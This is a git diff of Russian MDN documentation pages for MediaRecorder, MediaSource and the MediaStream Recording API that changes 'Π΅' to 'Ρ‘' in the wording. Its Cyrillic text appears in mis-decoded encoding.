ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΌΠ΅Π΄ΠΈΠ° Π·Π°Ρ…Π²Π°Ρ‚Π°, ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду, содСрТащий Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β Β <code>blob</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ ΠΎΠ±ΡŠΠ΅ΠΌ ΠΏΠΎΡ€Ρ†ΠΈΠΈ записи ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽΒ Π² ΠΎΠ΄Π½Ρƒ сСкунду. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство  <code>timeslice</code> вмСстС с {{domxref("MediaRecorder.stop()")}} ΠΈΒ {{domxref("MediaRecorder.requestData()")}} для создания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ°<code>Β blob</code> ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ³ΠΎ объСма Π΄Π°Π½Π½Ρ‹Ρ… , плюс послСдниС короткиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚ΠΈΠΏΠ°<code>Β blob.</code></li>
+ <li>Если свойство  <code>timeslice</code> пСрСдаётся Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("MediaRecorder.start()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт Π·Π°Ρ…Π²Π°Ρ‚ ΠΏΠΎΡ€Ρ†ΠΈΠΉ ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ…, событиС  <code>dataavailable</code> запускаСтся ΠΊΠ°ΠΆΠ΄Ρ‹Π΅Β <code>timeslice</code> миллисСкунд. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β <code>blob</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ спСцифичСский размСр (Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ послСднСго, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΡ€ΠΎΡ‡Π΅, содСрТащий всС, Ρ‡Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСго события ). ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ выглядит Ρ‚Π°ΠΊ :Β <code>recorder.start(1000);</code>Β Ρ‚ΠΎ событиС  <code>dataavailable</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду ΠΎΠ±Ρ‰Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΌΠ΅Π΄ΠΈΠ° Π·Π°Ρ…Π²Π°Ρ‚Π°, ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду, содСрТащий Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β Β <code>blob</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΒ ΠΎΠ±ΡŠΠ΅ΠΌ ΠΏΠΎΡ€Ρ†ΠΈΠΈ записи ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽΒ Π² ΠΎΠ΄Π½Ρƒ сСкунду. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство  <code>timeslice</code> вмСстС с {{domxref("MediaRecorder.stop()")}} ΠΈΒ {{domxref("MediaRecorder.requestData()")}} для создания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ°<code>Β blob</code> ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΡ‘ΠΌΠ° Π΄Π°Π½Π½Ρ‹Ρ… , плюс послСдниС короткиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚ΠΈΠΏΠ°<code>Β blob.</code></li>
</ul>
<div class="note">
diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html
index 86746ab4e1..6701b14112 100644
--- a/files/ru/web/api/mediasource/index.html
+++ b/files/ru/web/api/mediasource/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/MediaSource
<dl>
<dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>MediaSource</code>Β Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π±ΡƒΡ„Π΅Ρ€ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ….</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>MediaSource</code>Β Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π±ΡƒΡ„Π΅Ρ€ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ….</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -31,7 +31,7 @@ translation_of: Web/API/MediaSource
<dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("SourceBufferList")}} содСрТащий подмноТСство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° {{domxref("SourceBuffer")}} хранящих Π² сСбС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚ΠΈΠΏΠ° {{domxref("SourceBuffers")}} β€” список ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… доступ ΠΊ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌΡƒ Π²ΠΈΠ΄Π΅ΠΎ, доступным Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌ, тСкстовым Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈ Ρ‚Π΄.</dd>
<dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ enum, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ состояниС Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎΒ <code>MediaSource-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</code>, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ отсутствиС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ ΠΌΠ΅Π΄ΠΈΠ°-элСмСнту(<code>closed</code>), ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΈ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ°Β {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ, Π½ΠΎ с Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌΒ {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ enum, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ состояниС Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎΒ <code>MediaSource-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</code>, Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ отсутствиС ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ ΠΌΠ΅Π΄ΠΈΠ°-элСмСнту(<code>closed</code>), ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΈ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ°Β {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ, Π½ΠΎ с Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠΎΠΌΒ {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd>
<dt>{{domxref("MediaSource.duration")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ»ΠΈ устанавливаСт ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ прСдоставляСмых ΠΌΠ΅Π΄ΠΈΠ°Π΄Π°Π½Π½Ρ‹Ρ….</dd>
</dl>
@@ -48,7 +48,7 @@ translation_of: Web/API/MediaSource
<dl>
<dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β {{domxref("SourceBuffer")}}, с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ Β MIME-Ρ‚ΠΈΠΏΠΎΠΌΒ ΠΈ добавляСт Π² список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β {{domxref("SourceBuffer")}}, с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ Β MIME-Ρ‚ΠΈΠΏΠΎΠΌΒ ΠΈ добавляСт Π² список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd>
<dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
<dd>УдаляСт ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉΒ {{domxref("SourceBuffer")}} ΠΈΠ· списка {{domxref("SourceBuffers")}}, связанного с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌΒ <code>MediaSource-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ</code>.</dd>
<dt>{{domxref("MediaSource.endOfStream()")}}</dt>
@@ -62,7 +62,7 @@ translation_of: Web/API/MediaSource
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>НиТСпривСдСнный простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π²ΠΈΠ΄Π΅ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π·Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊ скоро, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚, воспроизводя ΠΈΡ… "ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊ сразу". Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ‹Π» написан Nick Desaulniers ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрСн здСсь Π² Π²ΠΈΠ΄Π΅ Π΄Π΅ΠΌΠΎ</a>Β (Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ исходный ΠΊΠΎΠ΄</a> для дальнСйшСго изучСния.)</p>
+<p>НиТСпривСдённый простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π²ΠΈΠ΄Π΅ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π·Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊ скоро, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚, воспроизводя ΠΈΡ… "ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊ сразу". Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ‹Π» написан Nick Desaulniers ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрСн здСсь Π² Π²ΠΈΠ΄Π΅ Π΄Π΅ΠΌΠΎ</a>Β (Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ исходный ΠΊΠΎΠ΄</a> для дальнСйшСго изучСния.)</p>
<pre class="brush: js">var video = document.querySelector('video');
diff --git a/files/ru/web/api/mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/index.html
index 7907634ec2..077c3c82a9 100644
--- a/files/ru/web/api/mediastream_recording_api/index.html
+++ b/files/ru/web/api/mediastream_recording_api/index.html
@@ -16,14 +16,14 @@ translation_of: Web/API/MediaStream_Recording_API
<li>УстановитС {{domxref("MediaRecorder.ondataavailable")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для {{event("dataavailable")}} событий; ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ доступны.</li>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ {{domxref("MediaRecorder")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΡƒΠΊΠ°Π·Π°Π² исходный ΠΏΠΎΡ‚ΠΎΠΊ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ ΠΏΠΎ ТСланию (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ MIME-Ρ‚ΠΈΠΏ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Π±ΠΈΡ‚Ρ€Π΅ΠΉΡ‚ Π΅Π³ΠΎ Ρ‚Ρ€Π΅ΠΊΠΎΠ²).</li>
<li>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ исходная ΠΌΠ΅Π΄ΠΈΠ° запустится ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ достигнута Ρ‚ΠΎΡ‡ΠΊΠ°, Π³Π΄Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ, Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ {{domxref("MediaRecorder.start()")}} для Π½Π°Ρ‡Π°Π»Π° записи.</li>
- <li>Π’Π°Ρˆ {{event("dataavailable")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠ°ΠΊ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ для выполнСния Π²Π°ΠΌΠΈ Π½Π°Π΄ Π½ΠΈΠΌΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ; событиС ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π°Ρ‚Π°-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Blob")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>dataavailable</code> событиС, доставляя Ρ‚Π΅ΠΌ самым послСдниС Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ Ρ‚Π΄.</li>
+ <li>Π’Π°Ρˆ {{event("dataavailable")}} ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠ°ΠΊ ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ для выполнСния Π²Π°ΠΌΠΈ Π½Π°Π΄ Π½ΠΈΠΌΠΈ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ; событиС ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π°Ρ‚Π°-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("Blob")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>dataavailable</code> событиС, доставляя Ρ‚Π΅ΠΌ самым послСдниС Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ…, ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ Ρ‚Π΄.</li>
<li>Π—Π°ΠΏΠΈΡΡŒ останавливаСтся автоматичСски, ΠΊΠΎΠ³Π΄Π° исходноС ΠΌΠ΅Π΄ΠΈΠ° Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΡ‚ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ.</li>
<li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ запись Π² любоС врСмя, Π²Ρ‹Π·Π²Π°Π²Β  {{domxref("MediaRecorder.stop()")}}.</li>
</ol>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства MediaRecorder ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° для опрСдСлСния состояния процСсса записи ΠΈ Π΅Π³ΠΎ {{domxref("MediaRecorder.pause", "pause()")}} ΠΈ {{domxref("MediaRecorder.resume", "resume()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈ Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ запись исходной ΠΌΠ΅Π΄ΠΈΠ°.</p>
-<p>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ MIME-Ρ‚ΠΈΠΏ, это Ρ‚Π°ΠΊ ΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p>
+<p>Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ»ΠΈ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, поддСрТиваСтся Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ MIME-Ρ‚ΠΈΠΏ, это Ρ‚Π°ΠΊ ΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ {{domxref("MediaRecorder.isMimeTypeSupported()")}}.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ MediaStream Recording API, смотритС <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Using the MediaStream Recording API</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API для записи Π°ΡƒΠ΄ΠΈΠΎ ΠΊΠ»ΠΈΠΏΠΎΠ². Другая ΡΡ‚Π°Ρ‚ΡŒΡ, <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a>, описываСт, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ ΠΈΠ·Β  {{HTMLElement("audio")}} ΠΈΠ»ΠΈ {{HTMLElement("video")}} элСмСнтов ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠΈ (Π² этом случаС, запись ΠΈ сохранСниС ΠΈΡ… Π½Π° Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ диск).</p>
diff --git a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
index 0ba9e31501..ff5714a279 100644
--- a/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
+++ b/files/ru/web/api/mediastream_recording_api/recording_a_media_element/index.html
@@ -108,7 +108,7 @@ h2 {
<h3 id="Установка_Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ…_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">Установка Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h3>
